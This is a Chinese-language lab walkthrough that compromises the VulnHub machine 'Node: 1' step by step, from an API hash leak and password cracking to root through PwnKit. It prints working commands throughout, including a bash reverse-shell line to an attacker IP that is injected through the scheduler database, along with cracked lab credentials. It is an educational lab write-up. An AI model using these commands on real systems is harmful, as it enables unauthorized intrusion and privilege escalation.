> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Node: 1 完整攻略：從 AngularJS API 洩漏，一路串到 PwnKit
- URL: https://taiwanding.com/node-1-wan-zheng-gong-lue-cong-angularjs-api-xie-lou-yi-lu-chuan-dao-pwnkit/
- Published: 2026-07-11T07:34:49.000Z
- Updated: 2026-07-15T02:50:35.000Z
- Author: Kevin Chen
- Tags: machine, #vulnhub, #vulnmachines, #AngularJS

> 連結：[https://www.vulnhub.com/entry/node-1,252/](https://www.vulnhub.com/entry/node-1,252/?ref=taiwanding.com)  
> 靶機：[Node: 1](https://www.vulnhub.com/entry/node-1,252/?ref=taiwanding.com)（VulnHub，作者 rastating，2017；HackTheBox 移植）   
> 難度：Medium 環境：WSL2 Kali + VMware

## 前言：一條橫跨十二個環節的攻擊鏈

Node 是一台罕見地把「一次完整滲透該有的每個面向」都塞進去的靶機，從一個未授權的 REST API，一路串到 kernel/pkexec 提權，中間經過資料過度暴露、hash 破解、加密 ZIP、白箱審計、憑證重用、SSH 橫向、NoSQL 命令注入、SUID binary 逆向 —— 幾乎是一份滲透測試的縮影。

這篇完整記錄這條鏈，包括最後那個卡了很久的 SUID binary 命令注入（intended path，因 `access()` 檢查刁鑽而未打通），以及最終改走的 PwnKit。

**完整 Kill Chain：(有劇透，可先跳過)**

1. 環境（VMware 的 ens33 對上靶機介面名，救回這台）
2. Recon → port 3000 AngularJS SPA
3. 讀前端 JS controller 挖出後端 API 地圖
4. 未授權 `GET /api/users` 洩漏全部使用者 + admin hash
5. hashcat 破 SHA-256 → admin 憑證
6. admin 登入 → `GET /api/admin/backup` 下載加密備份
7. 破 ZIP 密碼 → app 原始碼
8. 白箱審計 → MongoDB 憑證
9. DB 密碼重用 SSH → mark
10. `/var/scheduler` NoSQL 命令注入 → tom
11. PwnKit（CVE-2021-4034）→ root

## 0\. 環境：VMware 為何救回這台

這台原本卡在虛擬化環境（另有專文），簡述：在 WSL2 裡用 libvirt/KVM 跑時，靶機（Ubuntu 16.04，Debian 系）的 `/etc/network/interfaces` 綁死 `ens33`（VMware 慣用介面名），而 libvirt 的 e1000 給的是 `enp0s3`，對不上 → 靶機拿不到 IP。

改用 VMware 匯入後（OVF 不合規時按 Retry 放寬檢查即可），VMware 給的網卡剛好命名為 `ens33`，正好對上靶機的 interfaces → 拿到 IP。加上 WSL2 這次有路由能到 VMware 的 Host-only 網段（VMnet1, `192.168.13.0/24`），WSL 的 nmap 直接掃得到靶機 `192.168.13.128`。

## 1\. Recon

```bash
sudo nmap -p- -sV -sC 192.168.13.128

```

| Port | 服務                       | 備註                      |
| ---- | ------------------------ | ----------------------- |
| 22   | OpenSSH 7.2p2 Ubuntu     | Ubuntu 16.04            |
| 3000 | Node.js（nmap 誤判為 Hadoop） | AngularJS SPA "MyPlace" |

port 3000 首頁是 AngularJS 單頁應用（`ng-app="myplace"`、`data-ng-view`）。SPA 的攻擊面在後端 API，而前端載入了一堆 controller：

```html
<script src="assets/js/app/app.js">
<script src="assets/js/app/controllers/login.js">
<script src="assets/js/app/controllers/admin.js">
<script src="assets/js/app/controllers/profile.js">

```

## 2\. 讀前端 JS，挖出後端 API 地圖

**打 SPA 的核心心法：前端 JS 就是後端 API 的說明書，**不用猜路由，直接讀 controller：

```bash
curl -s http://192.168.13.128:3000/assets/js/app/app.js
curl -s http://192.168.13.128:3000/assets/js/app/controllers/admin.js
curl -s http://192.168.13.128:3000/assets/js/app/controllers/profile.js

```

挖出的 API endpoint：

```
POST /api/session/authenticate    登入
GET  /api/session                 檢查登入狀態
GET  /api/admin/backup            管理員備份（AdminCtrl）
GET  /api/users/:username         取單一使用者（ProfileCtrl）
GET  /api/users/latest            最新使用者列表（HomeCtrl）

```

## 3\. 未授權 API 洩漏所有使用者 + hash

`HomeCtrl` 首頁未登入就呼叫 `/api/users/latest`，回傳含密碼 hash 的完整使用者物件（過度暴露資料）：

```bash
curl -s http://192.168.13.128:3000/api/users/latest

```

但 `latest` 只回三個 `is_admin:false` 的使用者，漏了 admin，關鍵一步：**拿掉 `/latest` 直接打 `/api/users`，回傳全部使用者**（更嚴重的未授權洩漏）：

```bash
curl -s http://192.168.13.128:3000/api/users

```

admin 現形：

```json
{"username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true}

```

## 4\. 破解 hash

64 字元 hex = SHA-256（無鹽），WSL2 的 hashcat 找不到 CUDA GPU，改用 CPU（`-D 1`）：

```bash
hashcat -m 1400 -D 1 hashes.txt /usr/share/wordlists/rockyou.txt

```

破出：

```
tom  : spongebob
mark : snowflake
myP14ceAdm1nAcc0uNT : manchester

```

（SSH 重用測試：這幾組 web 密碼都不是系統帳號密碼，su/ssh 皆失敗。）

## 5\. 下載並解開加密備份

用 admin 登入拿 session，打 `/api/admin/backup`：

```bash
curl -s -c admin_cookies.txt -X POST http://192.168.13.128:3000/api/session/authenticate \
  -H "Content-Type: application/json" \
  -d '{"username":"myP14ceAdm1nAcc0uNT","password":"manchester"}'

curl -s -b admin_cookies.txt http://192.168.13.128:3000/api/admin/backup -o myplace.b64

```

回傳是 Base64 的加密 ZIP，解碼 + 破 ZIP 密碼：

```bash
base64 -d myplace.b64 > myplace.backup
file myplace.backup            # Zip archive（加密）
# 破密碼：先試已知密碼重用，再 zip2john + john
unzip -P magicword myplace.backup -d myplace_src

```

ZIP 密碼是 `magicword`（後來從 backup binary 逆向也證實）。

## 6\. 白箱審計拿到 MongoDB 憑證

解開的 app 原始碼 `app.js` 洩漏兩個關鍵：

```javascript
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace...';   // DB 憑證！
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);  // 備份呼叫自訂 SUID binary

```

`mark:5AYRft73VtFpc84k` 是 MongoDB 的 mark 密碼（跟 web 的 mark 密碼 `snowflake` 不同）。

## 7\. DB 密碼重用 SSH → 系統立足點

**開發者常讓 DB 帳號密碼 = 系統帳號密碼。** 用 DB 的 mark 密碼試 SSH：

```bash
ssh mark@192.168.13.128        # 密碼：5AYRft73VtFpc84k

```

成功，拿到 `mark@node` 系統 shell。

```
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
mark@node:~$ sudo -l
# mark may not run sudo

```

## 8\. NoSQL 命令注入橫向 → tom

`ps aux` 揭露一個以 tom 身分跑的排程器：

```
tom  /usr/bin/node /var/scheduler/app.js

```

讀它的原始碼（world-readable）：

```javascript
const exec = require('child_process').exec;
const url  = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler...';   // 你有這憑證！

setInterval(function () {
  db.collection('tasks').find().toArray(function (error, docs) {
    docs.forEach(function (doc) {
      exec(doc.cmd);                                       // 直接 exec DB 裡的 cmd，零過濾！
      db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
    });
  });
}, 30000);                                                 // 每 30 秒

```

**攻擊鏈：** scheduler 以 tom 跑，每 30 秒從 MongoDB 的 `scheduler` 資料庫讀 task 並 `exec(doc.cmd)`，而你有這個 DB 的憑證 → 插入惡意 task，30 秒內 scheduler 以 tom 執行。

```bash
mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
> db.tasks.insert({ cmd: "bash -c 'bash -i >& /dev/tcp/192.168.13.1/4444 0>&1'" })

```

> 網路細節：靶機（VMware）回連的來源是 Windows 的 VMnet1 位址 `192.168.13.1`，所以 reverse shell 的 listener 開在 **Windows PowerShell**（而非 WSL），才收得到。

30 秒後 tom shell 彈回。

```
tom@node:/$ groups
tom adm cdrom sudo dip plugdev lxd lpadmin sambashare admin

```

tom 在 `admin` group（能執行下面的 SUID binary），也在 sudo group（但無密碼，sudo 走不通）。

## 9\. 改走 PwnKit（CVE-2021-4034）→ root

走不依賴該 binary 的可靠路 —— PwnKit，這台條件極佳：

```bash
uname -a                        # Linux node 4.4.0-93-generic Ubuntu 16.04
ls -la /usr/bin/pkexec          # -rwsr-xr-x（SUID root，2016 版，未修 2022 的 CVE）
which gcc cc                    # 都有（可直接在靶機編譯）

```

PwnKit 原理（pkexec 的 argv 越界 + GCONV\_PATH 載入惡意 gconv module，詳見 Temple of Doom 篇），因這台有 gcc，直接用現成 C PoC（`berdav/CVE-2021-4034`），一個 `make` 搞定。

**傳檔（靶機無法外連）：** 用 scp 走 SSH 通道（繞過 http server 的 WSL/Windows 位址問題）：

```bash
# WSL（有 clone 好的 exploit）
scp /tmp/pwnkit.tar.gz mark@192.168.13.128:/tmp/

```

**編譯執行（家目錄與 /tmp 均受限，用 /dev/shm）：**

```bash
mkdir -p /dev/shm/pwn
tar xzf /tmp/pwnkit.tar.gz -C /dev/shm/pwn
cd /dev/shm/pwn/CVE-2021-4034
make
./cve-2021-4034

```

結果：

```
# id
uid=0(root) gid=0(root) groups=0(root),1001(mark)
# cat /root/root.txt
Redacted
```

## 帶得走的方法論

- **打 AngularJS/SPA**：前端 JS controller 就是後端 API 的說明書，直接讀它挖 endpoint，不用盲爆路由。
- **API 資料過度暴露**：`/api/users` 未授權回傳含 hash 的完整物件；試「拿掉路徑修飾（latest）」常能撈到更多（全部使用者）。
- **憑證接力的層次**：web hash → 破解 → 加密備份 → ZIP 密碼 → 白箱審計出的 DB 憑證 → SSH 重用，每一層的憑證可能重用到下一層，也可能不重用（web 密碼沒重用系統，但 DB 密碼重用了 SSH）。
- **白箱審計優先於盲打**：拿到原始碼後，讀 `app.js` 找 DB 連線、SUID 呼叫、secret，比黑箱猜快得多。
- **NoSQL/scheduler 命令注入**：`exec(doc.cmd)` 從資料庫讀命令執行 + 你有 DB 憑證 = 以該服務身分任意命令執行，找「以高權限使用者跑、且從你能控制的來源讀輸入」的服務。
- **傳檔與可寫目錄**：靶機無法外連時用 scp 走 SSH 通道；家目錄/tmp 受限時用 `/dev/shm`（tmpfs，通常 777）編譯執行。

*本文為 Node: 1 靶機的教學型 writeup，所有操作皆在本機隔離環境進行，切勿對未授權的系統進行任何測試。*